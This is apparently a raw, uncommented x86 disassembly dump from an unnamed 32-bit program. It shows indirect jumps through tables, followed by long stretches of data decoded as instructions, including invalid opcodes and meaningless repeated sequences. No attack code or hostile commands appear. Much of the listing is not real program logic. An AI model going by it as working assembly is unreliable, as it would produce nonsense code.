test dword [eax - 1], esi
invalid
mov esi, edi
add esi, 2
mov ax, word [edi + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x2d0], ecx
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, dword [ebp - 0x1e0]
mov esi, dword [ebp - 0x1e4]
mov edx, dword [esi + edx*4]
jmp edx
call fcn.0041d7c0
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
scasd eax, dword es:[edi]
aas
mov al, byte [0x80458b40]
mov ecx, dword [ebp - 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
sub ecx, dword [eax - 0x716b3053]
sbb ebx, esi
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
add edx, 0xfffffffe
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ecx + eax*4]
mov esi, edx
mov edi, dword [ebp - 0x20]
jmp eax
xor eax, eax
mov ecx, ebx
sub ecx, 2
sete cl
mov edx, dword [ebp - 0x2e8]
mov edi, dword [ebp - 0x2ec]
mov edx, dword [edi + edx*4]
jmp edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
xor eax, eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x2e
sete cl
mov dword [ebp - 0x228], 0
mov edx, dword [ebp - 0x22c]
mov edi, dword [ebp - 0x228]
mov edx, dword [edx + edi*4]
jmp edx
not al
movzx eax, al
and eax, 1
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x180]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
add esi, 0xfffffffe
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x2c8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp + 0xc]
jmp eax
test eax, 0x479f19af
sub eax, 0xc7662830
add ebx, dword [eax + eax - 0x75]
test dword [eax - 1], ebp
invalid
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ecx + eax*4]
mov edi, dword [ebp - 0x44]
jmp eax
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x26c]
mov eax, dword [ecx + eax*4]
mov edx, dword [ebp - 0x10]
jmp eax
mov edi, dword [ebp - 0x20]
mov ax, word [edi + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x130], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0xf8], 1
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xf8]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [ebp - 0x11]
mov bl, al
and ebx, 1
mov dword [ebp - 0xb8], ebx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb8]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp + 0xc]
jmp eax
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [ebp - 0x2d8], ecx
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x2b0], ecx
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1b8]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
mov ax, word [edi]
mov dword [ebp - 0x1a8], 0
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x1a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d7c0
mov cx, word [ebx + 2]
xor eax, eax
sub cx, 0x3a
sete cl
mov dword [ebp - 0xf0], 0
mov edx, dword [ebp - 0xf4]
mov esi, dword [ebp - 0xf0]
mov edx, dword [edx + esi*4]
jmp edx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
inc dword [ebx]
loop case.0x43fbdb.38
inc ebx
add al, ch
sti
inc ebx
add byte [eax], dl
cld
inc ebx
add byte [eax], dl
cld
inc ebx
add byte [esi], dh
cld
inc ebx
add byte [edi], dl
inc dword [ebx]
push edi
cld
inc ebx
add ah, bl
inc byte [ebx]
push ss
std
inc ebx
add cl, al
inc byte [ebx]
nop
inc byte [ebx]
lodsb al, byte [esi]
inc byte [ebx]
sar esi, 0x43
add byte [eax - 1342159874], dh
inc byte [ebx]
mov dl, 0xfe
inc ebx
add byte [eax - 0x34ffbc02], dh
inc byte [ebx]
fdiv st(6), st(0)
inc ebx
add byte [eax], al
inc dword [ebx]
in al, 0xfe
inc ebx
add byte [edi], dl
inc dword [ebx]
add bh, bh
inc ebx
add byte [ebx - 0x6effbc00], cl
inc dword [ebx]
mov eax, dword [eax]
inc esp
add byte [eax - 0x1bffbc01], dh
inc dword [ebx]
sar bh, 0x43
add ah, ah
inc dword [ebx]
salc
inc dword [ebx]
inc ebx
add byte [eax], bh
inc esp
add byte [eax], dl
inc esp
add byte [edi], dl
inc esp
add byte [eax], ah
inc esp
add byte [eax], ah
inc esp
add byte [ecx], ch
inc esp
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx + 0x69004400], cl
add al, byte [eax + eax - 0x2b]
add byte [eax + eax - 0x61], al
add dword [eax + eax - 0x5b], eax
add dword [eax + eax - 0x61], eax
add dword [eax + eax - 0x12], eax
add dword [eax + eax - 0x30], eax
add dword [eax + eax + 0x4e], eax
add al, byte [eax + eax + 0x3e]
add eax, dword [eax + eax - 0x56]
add al, byte [eax + eax + 0x3e]
add eax, dword [eax + eax + 0x69]
add al, byte [eax + eax - 0x3d]
or al, 0x44
add byte [eax], ah
adc al, 0x44
add byte [edi + ecx + 0x44], cl
add byte [eax], dh
adc dword [eax + eax + 0x75], eax
adc al, byte [eax + eax + 0x3b]
or al, 0x44
add byte [esi + 0x13], ah
inc esp
add bh, cl
cmove eax, dword [eax]
adc ax, word [eax + eax - 2]
adc byte [eax + eax - 77], al
adc eax, 0xf900044
inc esp
add byte [ebx - 0x5bffbbeb], dh
adc byte [eax + eax + 0x5d], al
push ss
inc esp
add byte [ecx - 0x4effbbf3], dh
or eax, 0x14740044
inc esp
add bh, al
adc byte [eax + eax + 0x39], al
pop ss
inc esp
add bh, al
adc byte [eax + eax - 0x14], al
adc al, 0x44
add byte [edx + 0x3a004414], cl
push ss
inc esp
add byte [ebx + edx], bh
inc esp
add bh, dl
adc al, 0x44
add byte [ebx + edx], bh
inc esp
add byte [ebp + 0x10], bh
inc esp
add byte [ebp + 0x17], ch
inc esp
add byte [ebp + 0x6a004417], cl
adc dword [eax + eax - 0x54], eax
adc eax, dword [eax + eax + 0x60]
or al, 0x44
add byte [ebx + edx + 0x103e0044], ch
inc esp
add byte [edx + 0xd], ch
inc esp
add byte [edx + 0x1100440e], bh
adc eax, dword [eax + eax - 0x20]
adc eax, dword [eax + eax - 0x20]
or eax, 0x16af0044
inc esp
add al, ah
adc eax, dword [eax + eax - 0x1d]
push cs
inc esp
add dh, cl
adc al, byte [eax + eax - 0x1d]
push cs
inc esp
add byte [ebp + 0x56004412], dl
adc eax, 0x15d90044
inc esp
add byte [ecx], bl
or eax, 0x15560044
inc esp
add bl, ah
push cs
inc esp
add byte [ebx], dh
adc al, 0x44
add byte [ebx], ch
push cs
inc esp
add byte [edi + edx + 0x44], bl
add byte [esp + ecx], dl
inc esp
add byte [ecx + 0xd], cl
inc esp
add byte [edx + 0xd490044], dl
inc esp
add byte [esi], dh
adc eax, 0x175c0044
inc esp
add byte [ecx], dl
adc al, byte [eax + eax + 0x68]
adc eax, 0x15680044
inc esp
add byte [edx + 0x4004417], dh
push ss
inc esp
add byte [ebx + edx + 0xd3e0044], cl
inc esp
add bl, bl
pop ss
inc esp
add byte [ecx - 0x24ffbbf2], ch
pop ss
inc esp
add al, dl
push ss
inc esp
add byte [ebx + 0x15], bh
inc esp
add dl, dl
push cs
inc esp
add byte [ebp + 0x26004413], bh
push ss
inc esp
add byte [ebx], cl
push cs
inc esp
add dh, cl
adc eax, 0x12f10044
inc esp
add byte [esi], al
or eax, 0x12f10044
inc esp
add byte [ebp + ecx + 0x44], dl
add byte [ebx - 0x8ffbbea], bl
push ss
inc esp
add byte [ebp - 0x66ffbbf4], al
adc byte [eax + eax + 0x12], al
sbb byte [eax + eax + 0x58], al
adc al, 0x44
add byte [ecx + 0x3f004410], bl
sbb byte [eax + eax - 0x3f], al
adc al, 0x44
add al, dl
pop ss
inc esp
add byte [ebp + 0x10], bl
inc esp
add byte [ebp + 0x10], bl
inc esp
add byte [edi], dl
pop ss
inc esp
add byte [edi], bh
sbb byte [eax + eax - 0x4d], al
cmove eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dword [ecx], edi
inc esp
add byte [ecx], dh
cmp dword [eax + eax + 0x31], eax
cmp dword [eax + eax + 0x31], eax
cmp dword [eax + eax + 0x5e], eax
cmp byte [eax + eax + 0x12], al
cmp dword [eax + eax + 0x12], eax
cmp dword [eax + eax + 0x12], eax
cmp dword [eax + eax + 0x12], eax
cmp dword [eax + eax + 0x12], eax
cmp dword [eax + eax + 0x12], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x22], eax
cmp dword [eax + eax + 0x22], eax
cmp dword [eax + eax + 0x2c], eax
cmp dword [eax + eax + 0x2c], eax
cmp dword [eax + eax - 0x4d], eax
cmp byte [eax + eax + 0x20], al
cmp dword [eax + eax - 0x2d], eax
cmp dword [eax + eax - 0x2d], eax
cmp dword [eax + eax - 0x2d], eax
cmp dword [eax + eax + 0x56], eax
cmp dword [eax + eax + 0x56], eax
cmp dword [eax + eax - 0x40], eax
cmp dword [eax + eax - 0x40], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax + 1], eax
add byte [eax], al
add dl, al
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax - 0x32], eax
cmp dword [eax + eax - 0x32], eax
cmp dword [eax + eax - 0x32], eax
cmp dword [eax + eax - 0x32], eax
cmp dword [eax + eax - 0x40], eax
cmp dword [eax + eax + 1], eax
add byte [eax], al
add al, ch
js 0x453ce0
add al, ch
js 0x453ce4
add byte [eax + 0x70], bl
dec ecx
add byte [edx + 0x70], bh
dec ecx
add byte [eax + esi*2 + 0x70be0049], bl
dec ecx
add byte [ecx - 0x2cffb68a], dh
jbe 0x453cfc
add byte [ebx], cl
js 0x453d00
add al, ah
jo 0x453d04
add byte [edx + 0x73], ah
dec ecx
add byte [ebx + esi*2 + 0x77df0049], al
dec ecx
add byte [eax - 0x35ffb68e], ch
jb 0x453d18
add ah, ch
jb 0x453d1c
add byte [esi], cl
jae 0x453d20
add byte [ebx + 0x74], dh
dec ecx
add byte [eax + 0x76], bh
dec ecx
add byte [eax], al
je 0x453d2c
add byte [ecx + ecx*2], dh
add byte [edx], ah
je 0x453d30
and dh, byte [ecx + ecx*2]
cmpsb byte [esi], byte es:[edi]
ja 0x453d34
add byte [esi + 0x68004977], ah
jno 0x453d38
add byte [eax + 0x71], ch
dec ecx
add byte [edx - 0x53ffb68f], cl
jno 0x453d40
add dh, cl
jno 0x453d44
add byte [ebx + 0x78], bh
jnp 0x453d76
dec ecx
add al, dh
jno 0x453d4c
invalid
add byte [ebx + 0x76], al
dec ecx
inc ebx
jbe 0x453d50
add byte [edx - 0x43ffb68b], bl
jne 0x453d58
add byte [edi + esi*2], cl
dec ecx
add bl, bh
je 0x453d60
add byte [0x3f004975], bl
sbb eax, 0x3f004975
aas
jne 0x453d68
add byte [ecx + 0x75], ah
dec ecx
popal
jne 0x453d6c
add byte [eax + edi*2 + 0x49], al
add byte [ebp + 0x77], al
dec ecx
add ch, dh
cmc
jne 0x453d78
add byte [edi], dl
pop ss
jbe 0x453d7c
add byte [edx + 0x77], bh
jp 0x453dad
dec ecx
add byte [eax + 0x67], cl
dec ecx
dec eax
dec ecx
add byte [edx + 0x67], ch
dec ecx
add byte [edi + 0x67ae0049], cl
dec ecx
mov word [edi + 0x49], fs
add byte [esi - 0x2fffb699], ch
scasb al, byte es:[edi]
dec ecx
add al, dl
dec ecx
add dl, dh
dec ecx
dec ecx
add byte [ecx - 0x62ffb691], bl
insd dword es:[edi], dx
dec ecx
add bl, ch
cdq
outsd dx, dword [esi]
dec ecx
add byte [ebp - 0x14ffb693], bl
jmp 0x453dc6
insb byte es:[edi], dx
dec ecx
add byte [0xd600496d], cl
salc
insd dword es:[edi], dx
dec ecx
add byte [eax - 0x35ffb697], ch
imul ecx, dword [ecx], 0x496ead
iretd
retf 0x4969
lodsd eax, dword [esi]
outsb dx, byte [esi]
dec ecx
add bh, cl
outsb dx, byte [esi]
dec ecx
add byte [edi], al
jo 0x453dc0
dec ecx
add ah, ch
in al, dx
imul ecx, dword [ecx], 0x496be0
cmp byte [edi + 0x49], ch
loopne 0x453de9
dec ecx
add byte [eax], bh
outsd dx, dword [esi]
dec ecx
add byte [edx], al
insb byte es:[edi], dx
dec ecx
add al, cl
push 0x68ea0049
dec ecx
add byte [ecx + ebp*2], cl
dec ecx
add byte [esi], ch
imul ecx, dword [ecx], 0x496950
outsd dx, dword fs:[esi]
dec ecx
add byte [eax], cl
outsd dx, dword [esi]
dec ecx
add byte [edx], bl
imul ecx, dword [ecx], 0x3c
imul ecx, dword [ecx], 0x74
outsb dx, byte [esi]
dec ecx
add byte [ecx + 0x6c], bl
dec ecx
add byte [ebx + 0x6c], bh
dec ecx
add byte [ebp - 0x40ffb694], bl
insb byte es:[edi], dx
dec ecx
add dl, dl
outsd dx, dword [esi]
dec ecx
shr byte [edi + 0x49], cl
add byte [edx], al
outsb dx, byte [esi]
dec ecx
add byte [esi + 0x6d], al
dec ecx
add byte [eax + 0x6d], ch
dec ecx
add byte [ebx], bh
outsb dx, byte [esi]
dec ecx
add byte [eax - 0x17ffb688], dh
js 0x453e24
add byte [eax + ebp*2], dl
dec ecx
add byte [eax], dh
jae 0x453e2c
add al, ch
js 0x453e30
add al, ch
js 0x453e34
add al, ch
js 0x453e38
add byte [esi], cl
push 0x49
add al, ch
js 0x453e40
add byte [edx], al
jno 0x453e44
add al, ch
js 0x453e48
add al, ch
js 0x453e4c
add al, ch
js 0x453e50
add byte [esp + ebp*2], ah
dec ecx
add al, ch
js 0x453e58
add al, ch
js 0x453e5c
add al, ch
js 0x453e60
add byte [esp + esi*2 + 0x49], al
add byte [esi - 0x17ffb68d], ah
js 0x453e6c
add al, ch
js 0x453e70
call 0xe84587a1
add al, ch
js 0x453e74
add al, ch
js 0x453e78
call 0x5e4587a9
add byte [esi + 0x6b], bl
dec ecx
add byte [edx + 0x69], dh
pop esi
imul ecx, dword [ecx], 0x72
imul ecx, dword [ecx], 0x4978e8
call 0xe84587b9
jb 0x453e9f
dec ecx
add al, ch
js 0x453e84
call 0xe84587b5
add al, ch
js 0x453e88
add al, ch
call 0xe84587bd
js 0x453e8c
add al, ch
call 0xe84587c1
js 0x453e90
add al, ch
call 0xe84587c5
js 0x453e94
add al, ch
call 0xe84587c9
js 0x453e98
add al, ch
call 0x2a4587cd
js 0x453e9c
add byte [edx], ch
outsd dx, dword [esi]
dec ecx
add byte [0xe8004972], al
add eax, 0xe8004972
call 0xe84587d9
js 0x453ea8
add al, ch
call 0xe84587dd
js 0x453eac
add al, ch
js 0x453eb0
add al, ch
js 0x453eb4
add byte [eax - 0x17ffb68c], cl
js 0x453ebc
mov byte [ecx + ecx*2], dh
call 0xe84587ed
add al, ch
call 0xe84587f1
js 0x453ec0
add al, ch
call 0x284587f5
js 0x453ec4
add byte [eax], ch
inc esp
add byte [eax], ch
inc esp
add byte [edi], cl
or al, 0x67
inc esp
add byte [ebx - 0x64ffbb9a], bl
wait
inc sp
add byte [ebx + 0x17004466], bl
wait
inc sp
add byte [edi], dl
pop ss
inc esp
add byte [ecx + 0x20004466], ch
test eax, 0x20004466
and byte [edi + 0x44], ah
inc esp
add byte [ebx + 0x5e004438], dh
cmp byte [eax + eax - 0x4d], al
cmp byte [eax + eax + 0x12], al
mov bl, 0x38
inc esp
add byte [esi + 0x38], bl
inc esp
add byte [ebx + 0x12004438], dh
adc bh, byte [ecx]
inc esp
add byte [eax], ah
cmp dword [eax + eax + 0x20], eax
and byte [ecx], bh
inc esp
add byte [eax], ah
cmp dword [eax + eax + 0x20], eax
and byte [ecx], bh
inc esp
add byte [eax], ah
cmp dword [eax + eax + 0x20], eax
and byte [ecx], bh
inc esp
add byte [edx], ah
cmp dword [eax + eax + 0x22], eax
cmp dword [eax + eax - 0x32], eax
into
cmp dword [eax + eax + 0x56], eax
push esi
cmp dword [eax + eax - 0x40], eax
cmp dword [eax + eax - 0x40], eax
sar byte [ecx], 0x44
add al, al
cmp dword [eax + eax - 0x40], eax
cmp dword [eax + eax - 0x3e], eax
cmp dword [eax + eax + 1], eax
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, al
cmp dword [eax + eax + 1], eax
add byte [eax], al
add byte [edi], al
mov byte [edx], dh
pushfd
jl 0x453ee6
xor bl, byte [esp + edi*2 + 0x22a8f9fc]
stc
test al, 0x22
mov cl, 0xac
or al, 0xbd
cmp al, 0x9a
mov bh, 0x58
jo 0x453f40
add byte [eax + 0x67], cl
dec ecx
add byte [eax - 0xa], cl
cmpsb byte [esi], byte es:[edi]
sahf
jp 0x453f72
dec ecx
add byte [eax + 0x71], ch
dec ecx
add byte [eax], bl
xor cl, byte [esi + edx*4 - 0x64]
jo 0x453f58
add byte [eax - 0x32ffb68e], ch
arpl bp, ax
cmp byte [esi + 0x62004970], 0x73
dec ecx
add byte [eax - 0x4e32f6e0], ch
and byte [ecx], cl
int 0xb1
jbe 0x453f70
add al, ah
jo 0x453f74
add ah, dh
leave
sub al, 7
sal dword [esi + 0x49], cl
add byte [ebx], cl
js 0x453f80
add dl, dh
sub dl, ah
scasd eax, dword es:[edi]
mov al, pe_nt_image_headers32
dec ecx
add al, ch
js 0x453f8c
call 0x3a4588bd
add byte [edx], bh
scasd eax, dword es:[edi]
inc esi
sal dword [eax - 0x17ffb688], 1
js 0x453f98
add ch, bl
popal
cdq
cmp esi, dword [eax + 0x2004978]
jno 0x453fa4
add dh, byte [ecx + 0x49]
add byte [ebx - 0x74], ah
push esp
mov word [ebx + esi*2 + 0x77df0049], es
dec ecx
add byte [esi], ah
and dh, ch
xor al, 0xb0
js 0x453fb8
add byte [esi - 0x41ffb68d], ah
xor ah, ah
add dword [eax - 0x17ffb688], esi
cmpsb byte [esi], byte es:[edi]
jae 0x453fbc
dec ecx
add byte [esi - 0x4ffe1bd0], bh
mov esi, 0xb001e430
js 0x453fc4
add al, ch
js 0x453fc8
add ch, ah
push ebp
in eax, 0x55
dec ebp
mov ebx, 0x4972ca
add byte [ecx + ecx*2], dh
dec edi
mov al, 0x72
mov bh, 0xec
jb 0x453fdc
add byte [eax + 0x76], bh
dec ecx
add byte [edi], ah
daa
cmp ecx, ebp
pop edx
push cs
jae 0x453fe8
add byte [ebx + 0x74], dh
dec ecx
add byte [eax + eax - 0xc], al
inc esp
add ah, dh
mov al, pe_nt_image_headers32
dec ecx
add byte [eax], dh
jae 0x453ff8
add byte [ecx - 0x4f3f0750], dl
js 0x454000
add byte [eax - 0x3affb68c], cl
fcmovne st(0), st(7)
div dword [eax - 0x17ffb688]
js 0x454010
mov byte [ecx + ecx*2], dh
invalid
call 0x39458941
add byte [ecx], bh
cmp dword [edi], eax
pop es
mov bh, 0xba
and dh, byte [ecx + ecx*2]
cmpsb byte [esi], byte es:[edi]
ja 0x45401c
add byte [edx + 0x53], ah
add dword [ebx + 0x4978b0], 0x44
inc esp
je 0x454028
add byte [edi - 0x4f50d6b3], cl
js 0x454030
add al, ch
js 0x454034
call 0xcd458965
add ch, cl
cmp dword [0x49718a95], ebx
add bl, bh
je 0x454040
add byte [esi - 0x5331e84f], bh
mov esi, 0xacce17b1
jno 0x454048
add byte [edx + 0x12004975], bl
adc byte [ebx + 0x4971cebf], dh
add byte [ebx + 0x76], al
dec ecx
lcall 0xb310, 0x12004975
mov edi, 0x4971ce
inc ebx
jbe 0x454058
add byte [esi], cl
push cs
out dx, eax
js 0x454022
jnp 0x45408e
dec ecx
add al, dh
jno 0x454064
add byte [eax], al
mov dword [0x78b0dcfe], eax
add byte [ebx + 0x78b0dcfe], ah
dec ecx
add al, ch
js 0x454070
add byte [ecx + 8], dl
pushfd
pop ss
mov al, pe_nt_image_headers32
dec ecx
add byte [0x16004972], al
push ecx
or byte [edi + edx + 0x4978b0], bl
add eax, 0x16004972
push ss
mov edx, 0x78b01bba
dec ecx
add al, ch
js 0x454088
add byte [eax + 0x58], dh
jo 0x45409a
mov bl, 0x57
mov esp, 0xc004975
or al, 0x77
dec ecx
ja 0x454094
add byte [esi - 0x4ffc6e95], cl
js 0x45409c
add al, ch
js 0x4540a0
add byte [ecx - 0x11], bh
jns 0x454049
jl 0x454017
mov al, pe_nt_image_headers32
dec ecx
add al, ch
js 0x4540ac
add byte [esi], cl
push cs
mov al, 0xd5
dec edi
sbb eax, 0xf5004975
jne 0x4540b8
add byte [esp + ecx], bh
cmp al, 0xc
mov byte [0x49753f5d], al
pop ebp
aas
jne 0x4540c0
add byte [ebp + 0x77], al
dec ecx
add byte [esi], dl
mov edx, 0x756159d3
pop ecx
popal
jne 0x4540cc
add byte [eax + edi*2 + 0x49], al
add bh, cl
lds ebp, [esi + 0x5e]
mov al, pe_nt_image_headers32
iretd
dec ecx
add al, ch
js 0x4540dc
add byte [0xb0e148e5], ch
sub eax, 0xb0e148e5
js 0x4540e4
dec ecx
add al, ch
js 0x4540e8
call 0xf1458a19
add cl, dh
int1
jae 0x454088
mov al, pe_nt_image_headers32
dec ecx
add al, ch
js 0x4540f4
add byte [eax - 0x1a], cl
lodsd eax, dword [esi]
dec eax
out 0xad, al
or edx, dword [edi]
jbe 0x4540fc
add byte [edx + 0x77], bh
dec ecx
add byte [eax], bl
hlt
sbb ah, dh
cwde
invalid
xor ch, byte [ecx - 0x4f]
lea ecx, [edi + 0x69a80049]
test al, 0x69
dec ecx
add byte [esi], al
push es
movsd dword es:[edi], dword [esi]
add ah, byte [esi + ebp*4]
dec ecx
add bl, ch
insb byte es:[edi], dx
dec ecx
add byte [edi], al
pop es
not edx
shl byte [edi + 0x49], 1
add byte [ebp - 0xffb693], bl
popfd
insd dword es:[edi], dx
dec ecx
add bh, bh
cmc
insb byte es:[edi], dx
dec ebp
dec ecx
add byte [ecx + 0x4500496f], bl
push esi
ret